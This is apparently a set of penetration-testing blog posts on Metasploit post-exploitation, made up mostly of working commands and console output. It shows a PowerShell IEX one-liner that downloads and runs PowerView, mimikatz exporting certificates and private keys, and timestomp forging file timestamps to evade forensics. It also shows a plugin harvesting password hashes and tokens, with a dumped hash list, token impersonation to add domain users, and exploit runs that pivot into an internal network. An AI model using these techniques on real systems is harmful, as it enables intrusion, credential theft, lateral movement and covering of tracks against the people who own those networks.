Running PowerShell Scripts That Require Module Imports With Meterpreter

Old post on the subject here:

http://carnal0wnage.attackresearch.com/2012/10/run-powershell-module-in-meterpreter.html

More recent posts on the subject by harmj0y

http://www.harmj0y.net/blog/powershell/derbycon-powershell-weaponization/


Anyway, #2 from The PowerShell Weaponization Problem works ok if you don't care about the code being on disk

Gist with the command

meterpreter > shell
Process 2380 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\user\Desktop>powershell.exe -exec bypass -Command "& {Import-Module 'C:\Users\user\Desktop\PowerTools\PowerView\powerview.ps1'; Get-NetDomain}"
powershell.exe -exec bypass -Command "& {Import-Module 'C:\Users\user\Desktop\PowerTools\PowerView\powerview.ps1'; Get-NetDomain}"
UNLUCKYCOMPANY.COM
C:\Users\user\Desktop>


Via IEX download method: Gist with the command

C:\Users\user\Desktop>powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1'); Get-NetDomain"
powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1'); Get-NetDomain"
UNLUCKYCOMPANY.COM

C:\Users\user\Desktop>

More with Mimikatz (Crypto Module)

So we all know that mimikatz dumps hashes and passwords!!! from memory which is the shiznazzle.

But, now that its working in memory, you can do lots more with it. Below are the various modules

• "standard" ; commandes de base
• crypto ; Cryptographie et certificats
• sekurlsa ; Dump de hashes et de mots de passes Windows
• system ; Gestion système
• process ; Manipulation des processus
• thread ; Manipulation des threads
• service ; Manipulation des services
• privilege ; Manipulation des privilèges
• winmine ; Manipulation du démineur de Windows XP (démonstration)
• minesweeper ; Manipulation du démineur de Windows Vista et 7 (démonstration)
• nogpo ; Pour éviter quelques GPO triviales
• samdump ; Dump de SAM offline
• inject ; Injecteur de librairies
• ts ; Manipulations Terminal Server
• divers ; Fonctions diverses trop petites pour s’émanciper

The Crypto module does some interesting things.  I briefly talked about stealing certificates at DerbyCon. the crypto module helps you do this.

Things you are probably intersted in are:

crypto::listkeys, crypto::listProviders, crypto::listStores, crypto::listCertificates

to identify fun stuff that you want for your own from the host.

then crypto::exportKeys and crypto::exportCertifcates

to take that stuff home.

kinda looks like this:

meterpreter > execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::listStores" exit'

Process 9904 created. Channel 20 created. mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Sep  8 2012 15:18:27) */ // http://blog.gentilkiwi.com/mimikatz mimikatz(commandline) # crypto::listStores

Emplacement : 'CERT_SYSTEM_STORE_CURRENT_USER'

        My

        Root

        Trust

        CA

        TrustedPublisher

        Disallowed

        AuthRoot

        TrustedPeople

        ADDRESSBOOK


mimikatz(commandline) # exit

execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::listCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE My" exit'
Process 3472 created.
Channel 12 created.
mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Sep  6 2012 04:02:46) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz(commandline) # crypto::listCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE My
Emplacement : 'CERT_SYSTEM_STORE_LOCAL_MACHINE'\My
         - sqlapps01
                Container Clé : SELFSSL
                Provider      : Microsoft RSA SChannel Cryptographic Provider
                Type          : AT_KEYEXCHANGE
                Exportabilité : OUI
                Taille clé    : 1024

mimikatz(commandline) # exit


execute -H -i -c -m -d calc.exe -f mimikatz.exe -a '"crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE" exit'
Process 6112 created.
Channel 23 created.
mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Sep  6 2012 04:02:46) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz(commandline) # crypto::exportCertificates CERT_SYSTEM_STORE_LOCAL_MACHINE
Emplacement : 'CERT_SYSTEM_STORE_LOCAL_MACHINE'\My
         - MACHINENAME
                Container Clé : SELFSSL
                Provider      : Microsoft RSA SChannel Cryptographic Provider
                Type          : AT_KEYEXCHANGE
                Exportabilité : OUI
                Taille clé    : 1024
                Export privé dans  'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_0_MACHINENAME.pfx' : OK
                Export public dans 'CERT_SYSTEM_STORE_LOCAL_MACHINE_My_0_MACHINENAME.der' : OK

mimikatz(commandline) # exit

once exported you download the .pfx and .der files

Run a PowerShell module in Meterpreter

I don't know why but powershell and meterpeter just dont play nice.

Part of it is the whole interactive shell-ness of powershell. so if you just type "powershell" once you drop to a cmd.exe you wont ever get the powershell prompt.

In a similar vain i've been unable to get any sort of combination of execute -f powershell.exe -a " blah blah" to work either.  If anyone has the magic syntax i know lots of people that would be interested. (actually carlos perez hooked me up...answer below)

so, you can run powershell scripts via  bat files and those execute just fine from within cmd.exe or from the "execute" command OR the encoded command [command].


C:\>type run_ps.bat
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File C:\do_neat_ps_stuff.ps1

Example:

meterpreter > execute -H -f cmd.exe -a '/c C:\runps.bat'
Process 28536 created.
meterpreter > 
[*] 4.5.6.21:3863 Request received for /vLNL...
[*] 4.5.6.21:3863 Staging connection for target /vLNL received...
--snip--
[*] Patched Communication Timeout at offset 653608...
[*] Meterpreter session 9 opened (1.2.3.205:443 -> 4.5.6.21:3863) at 2012-09-09 16:29:30 -0400

carlos perez mentioned at Derbycon you can also do:

on linux download this script https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py or if on windows you can download the EXE https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.exe

you can use it to encode a script and then run it like so:

msf  exploit(handler) > 

[*] Sending stage (752128 bytes) to 192.168.1.225

[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.225:49163) at 2012-09-17 15:58:33 -0400

msf  exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > shell 

Process 3416 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\carlos\Desktop>powershell.exe -encodedcommand dwByAGkAdABlAC0AaABvAHMAdAAgAGgAZQBsAGwAbwAgAHcAbwByAGwAZAA=

powershell.exe -encodedcommand dwByAGkAdABlAC0AaABvAHMAdAAgAGgAZQBsAGwAbwAgAHcAbwByAGwAZAA=

hello world

C:\Users\carlos\Desktop>

More On Metasploit Meterpreter & Timestomp

Well, probably "more" I honestly didn't look.

So there is blurb on the metasploit unleashed course on using timestomp. Unfortunately it leads you to believe that blanking the MACE values on a file or whole directory is better than hiding in plain sight. I suppose this can be debated (so feel free).

But... timestomp has a few other options worth discussing, notably setting MACE times from a file or individually setting attributes or setting all four attributes at once to a MACE time of your choosing.

meterpreter > timestomp

Usage: timestomp file_path OPTIONS

OPTIONS:
-a Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c Set the "creation" time of the file
-e Set the "mft entry modified" time of the file
-f Set the MACE of attributes equal to the supplied file
-h Help banner
-m Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z Set all four attributes (MACE) of the file

Check our current values

meterpreter > timestomp C:\\boot.ini -v
Modified : Wed Aug 12 18:12:39 -0400 2009
Accessed : Thu Oct 29 16:13:12 -0400 2009
Created : Wed Aug 12 11:06:54 -0400 2009
Entry Modified: Wed Aug 12 18:23:34 -0400 2009

Set the Modified time to 11/11/2011 at 11:11:11

meterpreter > timestomp C:\\boot.ini -m "11/11/2011 11:11:11"
[*] Setting specific MACE attributes on C:\boot.ini

Did it work?

meterpreter > timestomp C:\\boot.ini -v
Modified : Fri Nov 11 11:11:11 -0500 2011
Accessed : Thu Oct 29 16:13:12 -0400 2009
Created : Wed Aug 12 11:06:54 -0400 2009
Entry Modified: Wed Aug 12 18:23:34 -0400 2009

Set them all to 11/11/2011 at 11:11:11

meterpreter > timestomp C:\\boot.ini -z "11/11/2011 11:11:11"
[*] Setting specific MACE attributes on C:\boot.ini

Did it work?

meterpreter > timestomp C:\\boot.ini -v
Modified : Fri Nov 11 11:11:11 -0500 2011
Accessed : Fri Nov 11 11:11:11 -0500 2011
Created : Fri Nov 11 11:11:11 -0500 2011
Entry Modified: Fri Nov 11 11:11:11 -0500 2011


From a file

meterpreter > timestomp C:\\update.exe -v
Modified : Fri Apr 30 05:59:36 -0400 2004
Accessed : Fri Oct 23 20:28:36 -0400 2009
Created : Thu Apr 29 22:33:55 -0400 2004
Entry Modified: Fri Apr 30 06:22:35 -0400 2004

meterpreter > timestomp C:\\update.exe -f C:\\boot.ini
[*] Setting MACE attributes on C:\update.exe from C:\boot.ini

meterpreter > timestomp C:\\update.exe -v
Modified : Fri Apr 30 05:59:36 -0400 2004
Accessed : Sat Oct 24 05:34:03 -0400 2009
Created : Thu Apr 29 22:33:55 -0400 2004
Entry Modified: Fri Apr 30 06:22:35 -0400 2004

meterpreter > timestomp C:\\boot.ini -v
Modified : Fri Apr 30 05:59:36 -0400 2004
Accessed : Sat Oct 24 05:34:03 -0400 2009
Created : Thu Apr 29 22:33:55 -0400 2004
Entry Modified: Fri Apr 30 06:22:35 -0400 2004

Happy Hiding in plain sight.

-CG

Automatic credential collection and storage with CredCollect

In previous posts here at Carnal0wnage, CG has diligently covered using MSF and meterpreter to do all kinds of stuff, including grabbing hashes with the Priv extension (Vinnie Liu) and tokens with the Incognito extension (Luke Jennings). These are powerful post-exploitation features that yield invaluable information to the engaging team, therefore the presentation and accessibility of this data becomes an important factor as the scale of the engagement and number of targets grows. CredCollect is a simple plugin for MSF that hooks meterpreter session events and performs the gathering and persistent storage of this data for you transparently.

Upon successful session creation, the CredCollect plugin determines if the session opened is indeed a meterpreter session, loads the Priv and Incognito extensions, and extracts the hashes and tokens from the target. The plugin then stores each hash and token as a Note in the database of the framework instance and hands the session back to the console for the user to interact with it at the standard meterpreter> prompt.

The plugin also adds two commands to the MSF console when loaded named db_hashes and db_tokens respectively. The db_hashes command prints all of the hashes accrued in the database in a format suitable for import into various password crackers (OphCrack, L0pht, etc). The db_tokens command simply prints all of the tokens in the database with the host they were found on.

msf > help credcollect Commands ==================== Command Description ------- ----------- db_hashes Dumps hashes collected in the database db_tokens Dumps tokens collected in the database with host information

The utility of this plugin is best realized in medium to large scale engagements (read: beaucoup shellz) such as internal engagements or external phishing campaigns that result in multiple parallel sessions returning to the team at unpredicted rates and times.

Some common scenarios of use and bite-sized demos:

The db_hashes command is useful after a day or two of sweeping for low hanging fruit and pilfering hashes. The team can easily export all of the credentials that were transparently collected in the database and start cracking them for the next phase of the attack.

msf auxiliary(psexec) > [*] Meterpreter session 1 opened (192.168.216.128:35998 -> 192.168.216.129:35660) [*] This is CredCollect, I have the conn! [*] Meterpreter session 2 opened (192.168.216.128:39631 -> 192.168.216.135:13276) [*] This is CredCollect, I have the conn! [*] Meterpreter session 3 opened (192.168.216.128:59599 -> 192.168.216.130:29261) [*] This is CredCollect, I have the conn! [*] Meterpreter session 4 opened (192.168.216.128:40972 -> 192.168.216.134:19663) [*] This is CredCollect, I have the conn! msf auxiliary(psexec) > db_hashes Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: ASPNET:1003:f23cfdf84c392fbc77c0e0f2917836b0:01d86d700f9ea6ad3aa8bbdfcf521cac::: batman:1005:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: cmonster:1004:c1e93c824b1cfaa8aad3b435b51404ee:8969a961103af73fcc0748e43c5ff7f2::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IUSR_LAB-B2257C3B992:1001:5124477c769fbec46266a2cb1c844b3f:a9f888877ce9df5216bbc08b31e43e3d::: IWAM_LAB-B2257C3B992:1002:b36530029b636023d96dccb509274796:2b37090e60171bb7e654def4801070ee::: labadmin:1000:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: batman:1004:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: ASPNET:1003:37a6404c8dd5bfbd531e60cb30342487:d180f9afa235590ce7b2ee87fb5f931b::: batman:1004:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: dknuth:1005:a2c541b4541eb1b0aad3b435b51404ee:a86f1e9a32b9e448d2489b3a6e54430b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: bgates:1005:aa79e536edfc475e1fd352bdd2352014:535aa08a36ce010447800ef9308f056e::: IME_ADMIN:1003:4da9826b50892c5d00aa4eedb6ef32d3:b863209024a2f29f7f614cbb9ec4c8cd::: IME_USER:1002:4da9826b50892c5d00aa4eedb6ef32d3:b863209024a2f29f7f614cbb9ec4c8cd::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IUSR_LAB-F1F8AF69593:1000:fe4a20238f2f142b5ddd0be5f2a79e05:5e16d29ec4eda6ab28630283b41351cc::: IWAM_LAB-F1F8AF69593:1001:9810533c7118c42e56ab6132ae49abcb:9942f80a8065ef33d1d9ed3cf542094c::: labadmin:1000:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: batman:1004:efdb5ed3696653c9aad3b435b51404ee:b7265f8cc4f00b58f413076ead262720::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:7c02152d1cc79a43a82647b338f3300a:6d95eda25c0726fbaf0b31217ed6ac48::: kgriffey:1005:263ec07d6b3acc9caad3b435b51404ee:5af89060a89b58d912dd991dde9e9bbd::: lab:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ca221df23070348c4225ad0f20d31d30:::

The db_tokens command is useful in situations where you seek a specific user token and want to know if you've found that token on any of the boxes the team has compromised. For example, if you were to own a local service account or backup admin account, you could plug those credentials into psexec_scanner and automate searching an entire subnet or domain for a box with a domain admin token on it that you have gained access to.

msf auxiliary(psexec) > db_tokens 192.168.216.135 - LAB-B2257C3B992\labadmin 192.168.216.135 - NT AUTHORITY\SYSTEM 192.168.216.135 - NT AUTHORITY\ANONYMOUS LOGON 192.168.216.134 - LAB-F1F8AF69593\Administrator 192.168.216.134 - NT AUTHORITY\SYSTEM 192.168.216.134 - NT AUTHORITY\ANONYMOUS LOGON 192.168.216.129 - LAB-S1MG7462FL1\lab 192.168.216.129 - NT AUTHORITY\LOCAL SERVICE 192.168.216.129 - NT AUTHORITY\NETWORK SERVICE 192.168.216.129 - NT AUTHORITY\SYSTEM 192.168.216.129 - NT AUTHORITY\ANONYMOUS LOGON 192.168.216.130 - LAB-B2257C3B992\batman 192.168.216.130 - NT AUTHORITY\SYSTEM 192.168.216.130 - LAB-B2257C3B992\labadmin 192.168.216.130 - NT AUTHORITY\ANONYMOUS LOGON

As you can see highlighted, we have found the desired 'batman' user token is accessible on '192.168.216.130'.

And at the end of the day, all of these are just Note's in the MSF database so you can display them as such, or query the information from the actual database file with any sqlite client.

msf auxiliary(psexec) > db_notes [*] Time: Thu Mar 26 01:05:18 -0700 2009 Note: host=192.168.216.130 type=auth_SMB data=AUTH 192.168.216.130:445 Administrator password [*] Time: Thu Mar 26 01:05:18 -0700 2009 Note: host=192.168.216.134 type=auth_SMB data=AUTH 192.168.216.134:445 Administrator password [*] Time: Thu Mar 26 01:05:18 -0700 2009 Note: host=192.168.216.135 type=auth_SMB data=AUTH 192.168.216.135:445 Administrator password [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=LAB-B2257C3B992\batman [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=NT AUTHORITY\SYSTEM [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=LAB-B2257C3B992\labadmin [*] Time: Thu Mar 26 01:05:25 -0700 2009 Note: host=192.168.216.130 type=auth_TOKEN data=NT AUTHORITY\ANONYMOUS LOGON

So you can load the CredCollect plugin at startup and transparently collect credential information, also, since the initial implementation of this code was in a meterpreter script, you can drop the credcollect meterpreter script in your scripts directory and use it in one-off cases or whatever if you feel more comfortable doing it manually than loading the plugin.

Source or it didn't happen..
Plugin - Script

This plugin was definitely inspired by a similar effort that Valsmith and Colin Ames (now of AttackResearch) presented at DefCon 16 in their talk 'Meta-Post Exploitation' called MetaPass but to my knowledge that plugin was never publicly released.

PS. For a while a hairy thread issue kept this thing from working reliably so I'd like to thank egypt and icer for helping me debug it and track it down and hdm for ultimately fixing it in Changeset 6831

Token Passing with Incognito Part 2

Alright, i love this tool and its been officially merged into the msf trunk which is just super.

After talking to the guys at work and doing some thinking on it, the most useful aspect of incognito is being able to become a domain user (if they have logged into the compromised box since the last reboot). Why would i want to be a user instead of the all powerful SYSTEM? well, for one thing, users have access to "net" commands and can enumerate domain information and can view and map shares and what not, generally system while megabadass on the box you are on cant do jack on the domain. SOOOO unless you popped a shell on the DC we need to try to become a user.

so on to the screenshots...

So normal scenario we pop a shell with metasploit, with the NEW "old reliable" msdns_zonename exploit and use the meterpreter payload. Once we are in our meterpreter shell do a "use incognito" to load the library.


we list the available tokens by user using "list_tokens -u". Once we see someone we want to try to impersonate we run the "impersonate_token "domain\\user" command. We can verify it worked using a getuid in meterpreter.

At this point we have two options. We can run commands as our new user and create our own user and add them to whatever groups we want to add them to. Keep in mind that "most" of this works because the person we are impersonating had admin priviliges on the domain (as far as adding users to the domain). If we just wanted to become a user to do domain enumeration we can still do that.

so lets see getting a command shell with our impersonated token.



you have to make sure you pass it the "-t" option to use your token.

2nd option is to just add a user and add them to the appropriate group(s). Just follow along, its not too hard.













now you can just log in normally to the domain, or do whatever it is you need to do to get your paycheck.

I did some playing with the dameware and this tool. i'll save comments for a future post and I need to do some more playing but it appears to be leaving a token in memory as well.

Using Metasploit to pivot through a exploited host part 2

ok, got it figured out (yes Dean told me to change the port yesterday). if you were following along and just want the quick answer, its that you have to change the default port number (which is 4444) to something else for that 2nd shell. 4444 is tied up on your pivot host with your meterpreter session, so that makes sense....

let see it:

get your shell, see the internal network, add the route thru your meterpreter session, no change from yesterday :-)

cg@segfault:~/evil/msf3$ ./msfconsole

o 8 o o
8 8 8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


=[ msf v3.1-dev
+ -- --=[ 217 exploits - 107 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 41 aux

msf > use exploit/windows/smb/ms05_039_pnp
msf exploit(ms05_039_pnp) > set RHOST 192.168.170.129
RHOST => 192.168.170.129
msf exploit(ms05_039_pnp) > set TARGET 6
TARGET => 6
msf exploit(ms05_039_pnp) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms05_039_pnp) > exploit
[*] Started bind handler
[*] Connecting to the SMB service...
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.170.129[\ntsvcs] ...
[*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.170.129[\ntsvcs] ...
[*] Calling the vulnerable function...
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[+] Server did not respond, this is expected
[*] Meterpreter session 1 opened (192.168.170.1:56048 -> 192.168.170.129:4444)

meterpreter > route

Network routes
==============

Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 172.16.0.1
127.0.0.0 255.0.0.0 127.0.0.1
172.16.0.0 255.255.0.0 172.16.0.1
172.16.0.1 255.255.255.255 127.0.0.1
172.16.255.255 255.255.255.255 172.16.0.1
192.168.170.0 255.255.255.0 192.168.170.129
192.168.170.129 255.255.255.255 127.0.0.1
192.168.170.255 255.255.255.255 192.168.170.129
224.0.0.0 240.0.0.0 172.16.0.1
224.0.0.0 240.0.0.0 192.168.170.129
255.255.255.255 255.255.255.255 172.16.0.1
255.255.255.255 255.255.255.255 192.168.170.129

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0



AMD PCNET Family PCI Ethernet Adapter #2 - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:b1:cc:c4
IP Address : 172.16.0.1
Netmask : 255.255.0.0



AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:b1:cc:ba
IP Address : 192.168.170.129
Netmask : 255.255.255.0


meterpreter >
Background session 1? [y/N]
msf exploit(ms05_039_pnp) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.170.1:56048 -> 192.168.170.129:4444

msf exploit(ms05_039_pnp) > route add 172.16.0.0 255.255.0.0 1
msf exploit(ms05_039_pnp) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
172.16.0.0 255.255.0.0 Session 1

The 2nd host is just a copy of the first host, so i am going to use the same exploit twice, but the key part is to change the port number for your 2nd shell.


msf exploit(ms05_039_pnp) > set RHOST 172.16.0.150
RHOST => 172.16.0.150
msf exploit(ms05_039_pnp) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(ms05_039_pnp) > set LPORT 8899
LPORT => 8899
msf exploit(ms05_039_pnp) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.0.150 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE browser yes The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)


Payload options:

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 8899 yes The local port


Exploit target:

Id Name
-- ----
6 Windows XP SP1 English

msf exploit(ms05_039_pnp) > exploit
[*] Started bind handler
[*] Connecting to the SMB service...
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:172.16.0.150[\ntsvcs] ...
[*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:172.16.0.150[\ntsvcs] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 2 opened (Local Pipe -> Remote Pipe)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 172.16.0.150
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 172.161.0.1

C:\WINDOWS\system32>
Background session 2? [y/N] y
msf exploit(ms05_039_pnp) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.170.1:56048 -> 192.168.170.129:4444
2 Command shell Local Pipe -> Remote Pipe

msf exploit(ms05_039_pnp) >


Screenshots

the first host, you can see the meterpreter session (port 4444) back to my host 192.168.170.1 and the connection to the internal host 172.16.0.150 on port 8899



2nd host where you can see the connection from host 1 172.16.0.1

Using Metasploit to pivot through a exploited host

so I'm working on chicagon slides and looking for a fun demo, Dean and I were talking about being able to pivot or relay through the victim into the internal network. i said i didnt think you could do it (he said you can)...the answer... you can. yeah i lost the bet :-)

http://www.metasploit.com/archive/framework/msg02580.html

so lets see it...

bust your shell and get your meterpreter session:

cg@segfault:~/evil/msf3$ ./msfconsole

# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #


=[ msf v3.1-dev
+ -- --=[ 217 exploits - 107 payloads
+ -- --=[ 17 encoders - 5 nops
=[ 41 aux

msf > use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) > set RHOST 192.168.170.129
RHOST => 192.168.170.129
msf exploit(ms06_040_netapi) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms06_040_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms06_040_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms06_040_netapi) > exploit
[*] Started bind handler
[*] Detected a Windows XP SP0/SP1 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.170.129[\SRVSVC] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.170.129[\SRVSVC] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.170.1:44656 -> 192.168.170.129:4444)

run the route command to see what networks the victim can hit, you can also run ipconfig to see if the box is dual nic'ed

meterpreter > route

Network routes
==============

Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 172.16.0.1
127.0.0.0 255.0.0.0 127.0.0.1
172.16.0.0 255.255.0.0 172.16.0.1
172.16.0.1 255.255.255.255 127.0.0.1
172.16.255.255 255.255.255.255 172.16.0.1
192.168.170.0 255.255.255.0 192.168.170.129
192.168.170.129 255.255.255.255 127.0.0.1
192.168.170.255 255.255.255.255 192.168.170.129
224.0.0.0 240.0.0.0 172.16.0.1
224.0.0.0 240.0.0.0 192.168.170.129
255.255.255.255 255.255.255.255 172.16.0.1
255.255.255.255 255.255.255.255 192.168.170.129

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0


AMD PCNET Family PCI Ethernet Adapter #2 - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:b1:cc:c4
IP Address : 172.16.0.1
Netmask : 255.255.0.0


AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:b1:cc:ba
IP Address : 192.168.170.129
Netmask : 255.255.255.0


OR the handy dandy script that comes with msf get_local_subnets

meterpreter > run get_local_subnets
Local subnet: 0.0.0.0/0.0.0.0
Local subnet: 172.16.0.0/255.255.0.0
Local subnet: 192.168.170.0/255.255.255.0


as you can see there is an internal network

the post by hdm says to ctrl+z out of your meterpreter session to background it then set up a route in the msfconsole session

meterpreter > **did a ctrl+z here
Background session 1? [y/N] y
msf exploit(ms06_040_netapi) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

msf exploit(ms06_040_netapi) > route print

msf exploit(ms06_040_netapi) > route add 172.16.0.0 255.255.0.0 1

msf exploit(ms06_040_netapi) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
172.16.0.0 255.255.0.0 Session 1

msf exploit(ms06_040_netapi) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.170.1:44656 -> 192.168.170.129:4444

ok so you can see that we should be routing traffic thru there. now i tried to ping the host (which is 172.16.0.100) in this case and that didnt work, i also couldnt get any of the scanner auxiliary modules to actually scan and find anything (on either network) which is a bummer.

but i did get the smb scanner auxillary module to work and give me back the correct answer, so i know its working and passing data.

msf exploit(ms06_040_netapi) > back
msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS 172.16.0.100
RHOSTS => 172.16.0.100
msf auxiliary(version) > run
[*] 172.16.0.100 is running Windows 2000 Service Pack 0 - Service Pack 4
[*] Auxiliary module execution completed

i'm still playing with popping a shell on the internal net, thus far msf says its working but when it comes time to interact with the shell its just not happening

msf > use exploit/windows/http/badblue_ext_overflow
msf exploit(badblue_ext_overflow) > set RHOST 172.16.0.100
RHOST => 172.16.0.100
msf exploit(badblue_ext_overflow) > set RPORT 8080
RPORT => 8080
msf exploit(badblue_ext_overflow) > show targets

Exploit targets:

Id Name
-- ----
0 BadBlue 2.5 (Universal)

msf exploit(badblue_ext_overflow) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(badblue_ext_overflow) > exploit -z
[*] Started bind handler
[*] Sending stage (474 bytes)
[*] Command shell session 2 opened (Local Pipe -> Remote Pipe)
[*] Trying target BadBlue 2.5 (Universal)...
[*] Session 2 created in the background.

